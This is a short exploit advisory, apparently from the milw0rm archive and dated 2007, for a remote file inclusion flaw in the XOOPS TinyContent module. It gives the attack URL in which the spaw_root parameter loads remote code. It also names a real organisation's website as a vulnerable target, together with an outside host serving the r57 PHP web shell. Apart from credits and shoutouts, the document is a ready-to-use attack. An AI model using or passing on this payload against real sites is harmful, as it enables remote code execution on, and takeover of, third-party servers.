19 lines
No EOL
780 B
Text
19 lines
No EOL
780 B
Text
~~~~~~~~~~~~~~~~~~~~~~~
|
|
XOOPS Module TinyContent Remote File Inclusion
|
|
version: < 1.5
|
|
source: http://prdownloads.sourceforge.net/xoops/xoops2-mod-tinycontent_1_5.zip
|
|
~~~~~~~~~~~~~~~~~~~~~~
|
|
Discovered by Sp[L]o1T from hTTP://hacking.3Xforum.Ro
|
|
~~~~~~~~~~~~~~~~~~~~~~
|
|
BUG:
|
|
http://www.site.com/modules/tinycontent/admin/spaw/spaw_control.class.php?spaw_root=evilcode.txt?
|
|
|
|
Vuln site:
|
|
http://www.wiscpsa.org/modules/tinycontent/admin/spaw/spaw_control.class.php?spaw_root=http://www.ekin0x.com/r57.txt?
|
|
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
Shoutz t0: all members of Hacking[dot]3xforum[dot]ro ,V1rg0 ,Str0ke
|
|
Contact: splo1t[at]yahoo[dot]com
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
# milw0rm.com [2007-06-12] |